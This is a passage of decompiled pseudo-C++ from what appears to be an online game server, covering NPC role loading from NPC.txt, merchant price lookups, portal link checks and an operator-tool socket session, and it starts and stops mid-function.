void *v20; // edi@34 void *v21; // edi@40 void *v22; // edi@46 void *v23; // eax@52 NPCRoleBase *v24; // eax@53 void *v25; // eax@55 NPCRoleBase *v26; // eax@56 void *v27; // eax@59 NPCRoleBase *v28; // eax@60 signed int i; // esi@68 void *v30; // eax@69 char v31; // cl@70 ORToken v32; // [sp-18h] [bp-1C0h]@8 int v33; // [sp-14h] [bp-1BCh]@8 int v34; // [sp-10h] [bp-1B8h]@8 char *v35; // [sp-Ch] [bp-1B4h]@8 const char *v36; // [sp-8h] [bp-1B0h]@8 signed int v37; // [sp-4h] [bp-1ACh]@8 char rst; // [sp+13h] [bp-195h]@2 char v39[4]; // [sp+14h] [bp-194h]@26 __int64 v40; // [sp+18h] [bp-190h]@26 __int64 v41; // [sp+20h] [bp-188h]@26 char v42[4]; // [sp+28h] [bp-180h]@31 __int64 v43; // [sp+2Ch] [bp-17Ch]@31 __int64 v44; // [sp+34h] [bp-174h]@31 char v45[4]; // [sp+3Ch] [bp-16Ch]@37 __int64 v46; // [sp+40h] [bp-168h]@37 __int64 v47; // [sp+48h] [bp-160h]@37 char v48[4]; // [sp+50h] [bp-158h]@21 __int64 v49; // [sp+54h] [bp-154h]@21 __int64 v50; // [sp+5Ch] [bp-14Ch]@21 char v51[4]; // [sp+64h] [bp-144h]@49 __int64 v52; // [sp+68h] [bp-140h]@49 __int64 v53; // [sp+70h] [bp-138h]@49 char v54[4]; // [sp+78h] [bp-130h]@9 __int64 v55; // [sp+7Ch] [bp-12Ch]@9 __int64 v56; // [sp+84h] [bp-124h]@9 char v57[4]; // [sp+8Ch] [bp-11Ch]@15 int v58; // [sp+90h] [bp-118h]@15 int v59; // [sp+94h] [bp-114h]@15 int v60; // [sp+98h] [bp-110h]@15 int v61; // [sp+9Ch] [bp-10Ch]@15 char v62[4]; // [sp+A0h] [bp-108h]@43 __int64 v63; // [sp+A4h] [bp-104h]@43 __int64 v64; // [sp+ACh] [bp-FCh]@43 ORToken *v65; // [sp+B4h] [bp-F4h]@8 char nm[4]; // [sp+B8h] [bp-F0h]@54 int v67; // [sp+BCh] [bp-ECh]@54 int v68; // [sp+C0h] [bp-E8h]@54 int v69; // [sp+C4h] [bp-E4h]@54 int v70; // [sp+C8h] [bp-E0h]@54 FunctionEntarance _; // [sp+CCh] [bp-DCh]@1 char v72; // [sp+D0h] [bp-D8h]@58 ORToken thisa; // [sp+E4h] [bp-C4h]@9 int buf; // [sp+F8h] [bp-B0h]@1 int v75; // [sp+FCh] [bp-ACh]@1 int v76; // [sp+100h] [bp-A8h]@1 int v77; // [sp+104h] [bp-A4h]@1 char v78; // [sp+108h] [bp-A0h]@1 char path[128]; // [sp+118h] [bp-90h]@1 unsigned int cookie; // [sp+198h] [bp-10h]@75 int v81; // [sp+1A4h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "NPCManager::nm_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCManager::nm_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCManager::nm_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&world->n4_name[4]; buf = *(_DWORD *)&world->n4_name[0]; v4 = *(_DWORD *)&world->n4_name[8]; v5 = *(_DWORD *)&world->n4_name[12]; v75 = v3; v76 = v4; v81 = 0; v77 = v5; v78 = 0; sprintf(path, "../9Data/Shine/World/%s/NPC.txt"); if ( !OptionReader::or_Read(&v2->nm_NPCInfo, path) ) { rst = OptionReader::or_Read(&v2->nm_NPCInfo, "../9Data/Shine/World/NPC.txt"); v6 = OptionReader::or_ErrorLine(&v2->nm_NPCInfo); if ( !rst ) { AssertClass::ac_AssertFail(&shineassert, "NPCManager::nm_Load : Error in NPC inform", v6); ShineExit("NPCManager::nm_Load"); } } v2->nm_BufferPoint = 0; do { v2->nm_BufferArray[v2->nm_BufferPoint].pnt = 0; v2->nm_BufferArray[v2->nm_BufferPoint].func = 0; v2->nm_BufferArray[v2->nm_BufferPoint].handle = -1; v7 = v2->nm_BufferPoint + 1; v2->nm_BufferPoint = v7; } while ( (unsigned int)v7 < 0x400 ); v2->nm_BufferPoint = 0; while ( 1 ) { v37 = v2->nm_BufferPoint; v65 = &v32; v36 = 0; v35 = 0; v34 = 0; v33 = 0; *(_DWORD *)&v32.ort_Name[0] = 0; strncpy(v32.ort_Name, "ShineNPC", 0x14u); v2->nm_BufferArray[v2->nm_BufferPoint].pnt = (NPCManager::NPCInformTemplete *)OptionReader::or_SelectFromOrder( &v2->nm_NPCInfo, v32, v37); v8 = v2->nm_BufferArray[v2->nm_BufferPoint].pnt; if ( !v8 ) break; v9 = (int)&v8->role; v10 = *(_DWORD *)v9; v11 = *(_DWORD *)(v9 + 4); v12 = *(_DWORD *)(v9 + 8); v13 = *(_DWORD *)(v9 + 12); v14 = *(_DWORD *)(v9 + 16); *(_DWORD *)&thisa.ort_Name[0] = v10; *(_QWORD *)&thisa.ort_Name[4] = __PAIR__(v12, v11); *(_QWORD *)&thisa.ort_Name[12] = __PAIR__(v14, v13); v56 = 0i64; v55 = 0i64; *(_DWORD *)v54 = 0; strncpy(v54, "Merchant", 0x14u); if ( v10 != *(_DWORD *)v54 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v55 || *(_QWORD *)&thisa.ort_Name[12] != v56 ) { v50 = 0i64; v49 = 0i64; *(_DWORD *)v48 = 0; strncpy(v48, "JobManager", 0x14u); if ( v10 != *(_DWORD *)v48 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v49 || *(_QWORD *)&thisa.ort_Name[12] != v50 ) { v41 = 0i64; v40 = 0i64; *(_DWORD *)v39 = 0; strncpy(v39, "Gate", 0x14u); if ( v10 != *(_DWORD *)v39 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v40 || *(_QWORD *)&thisa.ort_Name[12] != v41 ) { v44 = 0i64; v43 = 0i64; *(_DWORD *)v42 = 0; strncpy(v42, "QuestNpc", 0x14u); if ( v10 != *(_DWORD *)v42 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v43 || *(_QWORD *)&thisa.ort_Name[12] != v44 ) { v47 = 0i64; v46 = 0i64; *(_DWORD *)v45 = 0; strncpy(v45, "StoreManager", 0x14u); if ( v10 != *(_DWORD *)v45 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v46 || *(_QWORD *)&thisa.ort_Name[12] != v47 ) { v64 = 0i64; v63 = 0i64; *(_DWORD *)v62 = 0; strncpy(v62, "ClientMenu", 0x14u); if ( v10 != *(_DWORD *)v62 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v63 || *(_QWORD *)&thisa.ort_Name[12] != v64 ) { v53 = 0i64; v52 = 0i64; *(_DWORD *)v51 = 0; strncpy(v51, "Guard", 0x14u); if ( v10 != *(_DWORD *)v51 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v52 || *(_QWORD *)&thisa.ort_Name[12] != v53 ) { v70 = 0; v69 = 0; v68 = 0; v67 = 0; *(_DWORD *)nm = 0; strncpy(nm, "NPCMenu", 0x14u); if ( ORToken::operator__(&thisa, (ORToken *)nm) ) { v25 = operator new(0x18u); if ( v25 ) { v37 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRole_MenuOpen::NPCRole_MenuOpen((NPCRole_MenuOpen *)v25, (NPCManager::NPCInformTemplete *)v37); v2->nm_BufferArray[v2->nm_BufferPoint++].func = v26; } else { LABEL_57: v2->nm_BufferArray[v2->nm_BufferPoint++].func = 0; } } else { ORToken::ORToken((ORToken *)&v72, "IDGate"); if ( !ORToken::operator__(&thisa, (ORToken *)&v72) ) { AssertClass::ac_AssertFail(&shineassert, "NPCManager::nm_Load : Invalid NPC Role", 0); ShineExit("NPCManager::nm_Load"); } v27 = operator new(0x84u); if ( v27 ) { v37 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRole_ID_Portal::NPCRole_ID_Portal( (NPCRole_ID_Portal *)v27, (NPCManager::NPCInformTemplete *)v37); v2->nm_BufferArray[v2->nm_BufferPoint++].func = v28; } else { v2->nm_BufferArray[v2->nm_BufferPoint++].func = 0; } } } else { v23 = operator new(0x18u); if ( !v23 ) goto LABEL_57; v37 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRole_Guard::NPCRole_Guard((NPCRole_Guard *)v23, (NPCManager::NPCInformTemplete *)v37); v2->nm_BufferArray[v2->nm_BufferPoint++].func = v24; } } else { v22 = operator new(0x18u); if ( v22 ) { v37 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRoleBase::NPCRoleBase((NPCRoleBase *)v22, (NPCManager::NPCInformTemplete *)v37); *(_DWORD *)v22 = &NPCRoleBase::_vftable_; v2->nm_BufferArray[v2->nm_BufferPoint++].func = (NPCRoleBase *)v22; } else { LABEL_48: v2->nm_BufferArray[v2->nm_BufferPoint++].func = 0; } } } else { v21 = operator new(0x18u); if ( v21 ) { v37 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRoleBase::NPCRoleBase((NPCRoleBase *)v21, (NPCManager::NPCInformTemplete *)v37); *(_DWORD *)v21 = &NPCRole_StoreManager::_vftable_; v2->nm_BufferArray[v2->nm_BufferPoint++].func = (NPCRoleBase *)v21; } else { LABEL_42: v2->nm_BufferArray[v2->nm_BufferPoint++].func = 0; } } } else { v20 = operator new(0x18u); if ( v20 ) { v37 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRoleBase::NPCRoleBase((NPCRoleBase *)v20, (NPCManager::NPCInformTemplete *)v37); *(_DWORD *)v20 = &NPCRole_JobManager::_vftable_; v2->nm_BufferArray[v2->nm_BufferPoint++].func = (NPCRoleBase *)v20; } else { v2->nm_BufferArray[v2->nm_BufferPoint++].func = 0; } } } else { v19 = operator new(0x84u); if ( !v19 ) goto LABEL_48; v37 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRoleBase::NPCRoleBase((NPCRoleBase *)v19, (NPCManager::NPCInformTemplete *)v37); *(_DWORD *)v19 = &NPCRole_Portal::_vftable_; *((_DWORD *)v19 + 6) = 0; v2->nm_BufferArray[v2->nm_BufferPoint++].func = (NPCRoleBase *)v19; } } else { v18 = operator new(0x18u); if ( !v18 ) goto LABEL_42; v37 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRoleBase::NPCRoleBase((NPCRoleBase *)v18, (NPCManager::NPCInformTemplete *)v37); *(_DWORD *)v18 = &NPCRole_JobManager::_vftable_; v2->nm_BufferArray[v2->nm_BufferPoint++].func = (NPCRoleBase *)v18; } } else { v15 = operator new(0x18u); if ( v15 ) { v37 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRoleBase::NPCRoleBase((NPCRoleBase *)v15, (NPCManager::NPCInformTemplete *)v37); *(_DWORD *)v15 = &NPCRole_Merchant::_vftable_; } else { v15 = 0; } v16 = v2->nm_BufferPoint; v37 = 20; v36 = "SoulStone"; v35 = v57; v2->nm_BufferArray[v16].func = (NPCRoleBase *)v15; v61 = 0; v60 = 0; v59 = 0; v58 = 0; *(_DWORD *)v57 = 0; strncpy(v35, v36, v37); v17 = (int)((char *)v2 + 12 * v2->nm_BufferPoint); if ( *(_DWORD *)(*(_DWORD *)v17 + 84) == *(_DWORD *)v57 && *(_DWORD *)(*(_DWORD *)v17 + 88) == v58 && *(_DWORD *)(*(_DWORD *)v17 + 92) == v59 && *(_DWORD *)(*(_DWORD *)v17 + 96) == v60 && *(_DWORD *)(*(_DWORD *)v17 + 100) == v61 ) { ++v2->nm_BufferPoint; } else { v37 = *(_DWORD *)v17; NPCItemList::NPCItemListTable::nilt_ReadTable(&npcitemlist, (const char *)v37); ++v2->nm_BufferPoint; } } } if ( v2->nm_BufferPoint <= 0 ) { AssertClass::ac_AssertFail(&shineassert, "NPCManager::nm_Load : Empty NPC inform", 0); ShineExit("NPCManager::nm_Load"); } for ( i = 0; ; ++i ) { v37 = i; v65 = &v32; v36 = 0; v35 = 0; v34 = 0; v33 = 0; *(_DWORD *)&v32.ort_Name[0] = 0; strncpy(v32.ort_Name, "LinkTable", 0x14u); v30 = OptionReader::or_SelectFromOrder(&stru_CBD064C, v32, v37); if ( !v30 ) break; v31 = *((_BYTE *)v30 + 100); if ( v31 && v31 != 1 ) { AssertClass::ac_AssertFail(&shineassert, "Error at LinkTable in NPC.txt", (const char *)v30 + 20); ShineExit("NPCManager::nm_Load"); } } --funcallanalizer.fca_stackpoint; v81 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCManager::nm_Load"); __security_check_cookie(cookie); } // 5AF378: using guessed type int (__stdcall *NPCRole_JobManager___vftable_)(int nLocation, int LocationX, int LocationY); // 5AF3A0: using guessed type int (__stdcall *NPCRole_Portal___vftable_)(int, int npcfunc, __int16 npchandle); // 5AF3F0: using guessed type int (__stdcall *NPCRole_StoreManager___vftable_)(int, int npcfunc, __int16 npchandle); // 5AF418: using guessed type int (__thiscall *NPCRole_Merchant___vftable_)(NPCRole_Merchant *this, #440 *, int npcfunc, __int16 npchandle); // 5AF440: using guessed type int (__stdcall *NPCRoleBase___vftable_)(int, int npcfunc, __int16 npchandle); //----- (0048F690) -------------------------------------------------------- #error "48F690: undefined or illegal type '#331' (funcsize=158)" //----- (0048F890) -------------------------------------------------------- unsigned int __thiscall NPCRole_Merchant::nrb_ItemSellPrice(NPCRole_Merchant *this, #331 *a2, unsigned __int16 itemid) { signed __int16 v3; // ax@1 unsigned int result; // eax@3 ItemDataBox::ItemDataBoxIndex *v5; // eax@4 unsigned int v6; // esi@6 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemSellPrice"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRole_Merchant::nrb_ItemSellPrice"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ShineObjectClass::ShineObject::so_mapindex((void *)a2); if ( v3 != 255 && v3 != -1 ) { v5 = ItemDataBox::operator__(&itemdatabox, itemid); if ( v5 ) { v6 = v5->data->SellPrice; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemSellPrice"); result = v6; } else { AssertClass::ac_AssertFail(&shineassert, "NPCRole_Merchant::nrb_ItemSellPrice : cannot found item inform", itemid); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemSellPrice"); result = 0; } } else { AssertClass::ac_AssertFail(&shineassert, "NPCRole_Merchant::nrb_ItemSellPrice : Wrong mapindex", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemSellPrice"); result = 0; } return result; } //----- (0048F9E0) -------------------------------------------------------- unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyPrice(NPCRole_Merchant *this, #331 *a2, unsigned __int16 itemid) { ItemDataBox::ItemDataBoxIndex *v3; // eax@1 unsigned int result; // eax@2 unsigned int v5; // esi@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyPrice"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRole_Merchant::nrb_ItemBuyPrice"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ItemDataBox::operator__(&itemdatabox, itemid); if ( v3 ) { v5 = v3->data->BuyPrice; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyPrice"); result = v5; } else { AssertClass::ac_AssertFail(&shineassert, "NPCRole_Merchant::nrb_ItemSellPrice : cannot found item inform", itemid); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyPrice"); result = 0; } return result; } //----- (0048FAE0) -------------------------------------------------------- unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyGuildToken(NPCRole_Merchant *this, #331 *a2, unsigned __int16 itemid) { ItemDataBox::ItemDataBoxIndex *v3; // eax@1 unsigned int result; // eax@2 unsigned int v5; // esi@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyGuildToken"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRole_Merchant::nrb_ItemBuyGuildToken"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ItemDataBox::operator__(&itemdatabox, itemid); if ( v3 ) { v5 = v3->data->BuyGToken; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyGuildToken"); result = v5; } else { AssertClass::ac_AssertFail( &shineassert, "NPCRole_Merchant::nrb_ItemBuyGuildToken : cannot found item inform", itemid); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyGuildToken"); result = 0; } return result; } //----- (0048FBE0) -------------------------------------------------------- unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyFame(NPCRole_Merchant *this, #331 *a2, unsigned __int16 itemid) { ItemDataBox::ItemDataBoxIndex *v3; // eax@1 unsigned int result; // eax@2 unsigned int v5; // esi@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyFame"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRole_Merchant::nrb_ItemBuyFame"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ItemDataBox::operator__(&itemdatabox, itemid); if ( v3 ) { v5 = v3->data->BuyFame; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyFame"); result = v5; } else { AssertClass::ac_AssertFail(&shineassert, "NPCRole_Merchant::nrb_ItemSellPrice : cannot found item inform", itemid); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyFame"); result = 0; } return result; } //----- (0048FCE0) -------------------------------------------------------- void __thiscall MerchantCityData::MerchantCityData(MerchantCityData *this) { MerchantCityData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0); *(_DWORD *)&v1->baseclass_0.bdb_defaultblock.Map[0] = 0; v1->baseclass_0.bdb_defaultblock.Sub = 0; } //----- (0048FD10) -------------------------------------------------------- void __thiscall MerchantCityData::mcd_Load(MerchantCityData *this) { BinaryDataBox *v1; // esi@1 v1 = (BinaryDataBox *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MerchantCityData::mcd_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MerchantCityData::mcd_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; BinaryDataBox::bdb_ReadData(v1, "../9Data/Shine/ItemMerchantInfo.shn"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MerchantCityData::mcd_Load"); } //----- (0048FDB0) -------------------------------------------------------- int __thiscall MerchantCityData::mcd_city(MerchantCityData *this, unsigned __int16 mapindex) { MerchantCityData *v2; // ebp@1 MapInfo *v3; // edi@2 unsigned int v4; // eax@4 unsigned int v5; // ecx@4 void *v7; // ebp@9 unsigned int v8; // ecx@11 char *v9; // ecx@11 int v10; // esi@14 char *v11; // [sp-4h] [bp-24h]@3 MerchantCityData *v12; // [sp+Ch] [bp-14h]@1 unsigned int mapindexa; // [sp+24h] [bp+4h]@4 v2 = this; v12 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MerchantCityData::mcd_city"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MerchantCityData::mcd_city"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( mapindex >= mapdatabox.mdb_maxmapid || (v3 = mapdatabox.mdb_index[mapindex]) == 0 ) { v11 = "MerchantCityData::mcd_city"; LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v11); return 0; } v4 = v2->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v5 = 0; mapindexa = 0; if ( (signed int)v4 <= 0 ) { LABEL_5: v11 = "MerchantCityData::mcd_city"; goto LABEL_6; } while ( 1 ) { v7 = v5 < v4 ? CDataReader::GetRecord(&v2->baseclass_0.baseclass_0.baseclass_0, v5) : &v2->baseclass_0.bdb_defaultblock; v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *(_DWORD *)v9 = *(_DWORD *)&v3->MapName.n3_name[0]; *((_DWORD *)v9 + 1) = *(_DWORD *)&v3->MapName.n3_name[4]; *((_DWORD *)v9 + 2) = *(_DWORD *)&v3->MapName.n3_name[8]; v9[12] = 0; if ( !strcmp((const char *)v7, v9) ) break; v4 = v12->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++mapindexa; if ( (signed int)mapindexa >= (signed int)v4 ) goto LABEL_5; v5 = mapindexa; v2 = v12; } v10 = *((_BYTE *)v7 + 4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MerchantCityData::mcd_city"); return v10; } //----- (0048FF50) -------------------------------------------------------- #error "48FF50: undefined or illegal type '#440' (funcsize=29)" //----- (0048FFF0) -------------------------------------------------------- void __thiscall NPCRole_Portal::nrb_LinkBrench(NPCRole_Portal *this, #440 *a2, int linknum, NPCManager::LinkInformTemplete *lnkstr) { NPCRole_Portal *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRole_Portal::nrb_LinkBrench"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRole_Portal::nrb_LinkBrench"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4->nrb_BrenchNumber = linknum; memcpy(&v4->nrb_BrenchSpot, lnkstr, sizeof(v4->nrb_BrenchSpot)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Portal::nrb_LinkBrench"); } //----- (00490060) -------------------------------------------------------- char __thiscall NPCRoleBase::nrb_LinkBrenchCheck(NPCRoleBase *this, NPCManager::LinkInformTemplete *lnkstr) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRoleBase::nrb_LinkBrenchCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRoleBase::nrb_LinkBrenchCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRoleBase::nrb_LinkBrenchCheck"); return 0; } //----- (004900B0) -------------------------------------------------------- char __thiscall NPCRole_Portal::nrb_LinkBrenchCheck(NPCRole_Portal *this, NPCManager::LinkInformTemplete *lnkstr) { NPCRole_Portal *v2; // ebx@1 int v3; // eax@1 NPCManager::LinkInformTemplete *v4; // edi@2 bool v5; // zf@2 signed int v6; // ecx@2 int v7; // esi@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRole_Portal::nrb_LinkBrenchCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRole_Portal::nrb_LinkBrenchCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->nrb_BrenchNumber; if ( v3 >= 0 ) { v4 = lnkstr; v5 = 1; v6 = 101; v7 = (int)&v2->nrb_BrenchSpot; do { if ( !v6 ) break; v5 = *(_BYTE *)v7++ == v4->index[0]; v4 = (NPCManager::LinkInformTemplete *)((char *)v4 + 1); --v6; } while ( v5 ); if ( !v5 ) goto LABEL_8; if ( v3 > 0 ) { v2->nrb_BrenchNumber = v3 - 1; LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Portal::nrb_LinkBrenchCheck"); return 1; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Portal::nrb_LinkBrenchCheck"); return 0; } //----- (00490180) -------------------------------------------------------- void __thiscall NPCManager::_NPCManager(NPCManager *this) { NPCManager *v1; // esi@1 NPCRoleBase *v2; // eax@2 void *v3; // ST00_4@3 int v4; // eax@4 v1 = this; this->nm_BufferPoint = 0; do { v2 = v1->nm_BufferArray[v1->nm_BufferPoint].func; if ( v2 ) { v3 = v1->nm_BufferArray[v1->nm_BufferPoint].func; v2->vfptr = (NPCRoleBaseVtbl *)&NPCRoleBase::_vftable_; operator delete(v3); } v4 = v1->nm_BufferPoint + 1; v1->nm_BufferPoint = v4; } while ( (unsigned int)v4 < 0x400 ); OptionReader::_OptionReader(&v1->nm_NPCInfo); } // 5AF440: using guessed type int (__stdcall *NPCRoleBase___vftable_)(int, int npcfunc, __int16 npchandle); //----- (004901E0) -------------------------------------------------------- void __thiscall OPToolObject::opto_SetSocketSession(OPToolObject *this, OPToolSession *pSession) { this->opto_SocketSession = pSession; this->opto_ListPacket = clockwatch.cw_CurrTick; } //----- (00490200) -------------------------------------------------------- void __thiscall OPToolSession::OPToolSession(OPToolSession *this) { OPToolSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&OPToolSession::_vftable_; } // 5AF894: using guessed type int (__stdcall *OPToolSession___vftable_)(int interval); //----- (00490220) -------------------------------------------------------- void __thiscall OPToolSession::_OPToolSession(OPToolSession *this) { this->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&OPToolSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0); } // 5AF894: using guessed type int (__stdcall *OPToolSession___vftable_)(int interval); //----- (00490230) -------------------------------------------------------- char __thiscall OPToolSession::opts_ConnectReady(OPToolSession *this) { char buffer; // [sp+0h] [bp-44h]@1 int v3; // [sp+1h] [bp-43h]@1 LOWORD(v3) = v3 & 0x3FF | 0x800; buffer = 2; LOWORD(v3) = v3 & 0xFC01 | 1; return ZoneBaseSession::Send(&this->baseclass_0, &buffer, 3); } //----- (00490280) -------------------------------------------------------- void __thiscall List::_List(ItemLotAnalyser::LotAnalyser *this) { void *v1; // ecx@1 this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v1 = this->baseclass_0.l_Array; if ( v1 ) operator delete__(v1); } // 5B0D38: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (004902A0) -------------------------------------------------------- char __thiscall List::l_Free(List *this, unsigned __int16 hnd) { ListStruct *v2; // esi@2 int v3; // eax@2 unsigned __int16 v4; // si@4 char result; // al@5 if ( hnd < this->l_MaxSize && (v2 = this->l_Array, v3 = hnd, v2[v3].ls_IsActiv) && hnd != this->l_Finger.store ) { v2[v2[v3].ls_Prev].ls_Next = v2[v3].ls_Next; this->l_Array[this->l_Array[v3].ls_Next].ls_Prev = this->l_Array[v3].ls_Prev; v4 = this->l_Finger.empty; if ( v4 == -1 ) { this->l_Array[v3].ls_Next = hnd; this->l_Array[v3].ls_Prev = hnd; this->l_Finger.empty = hnd; this->l_Array[v3].ls_IsActiv = 0; --this->l_ListNum; result = 1; } else { this->l_Array[v3].ls_Next = v4; this->l_Array[v3].ls_Prev = this->l_Array[this->l_Finger.empty].ls_Prev; this->l_Array[this->l_Array[this->l_Finger.empty].ls_Prev].ls_Next = hnd; this->l_Array[this->l_Finger.empty].ls_Prev = hnd; this->l_Array[v3].ls_IsActiv = 0; --this->l_ListNum; result = 1; } } else { result = 0; } return result; } //----- (00490390) -------------------------------------------------------- char __thiscall OPToolObject::opto_Routine(OPToolObject *this, List *lst, unsigned __int16 handle) { OPToolObject *v3; // esi@1 OPToolSession *v4; // eax@1 signed int v5; // ecx@3 int v6; // eax@5 int v7; // eax@6 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "OPToolObject::opto_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "OPToolObject::opto_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->opto_SocketSession; if ( !v3->opto_SocketSession ) { ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(handle); goto LABEL_14; } v5 = v4->baseclass_0.m_Status; if ( v5 > 0 && v5 <= 2 ) { v6 = v4->baseclass_0.m_Packet.vfptr->IsValidPacket(&v4->baseclass_0.m_Packet); if ( v6 ) { v7 = v6 - 1; if ( !v7 ) { ((void (__stdcall *)(_DWORD, _DWORD))v3->opto_SocketSession->baseclass_0.vfptr->zbs_Parsing)(0, handle); 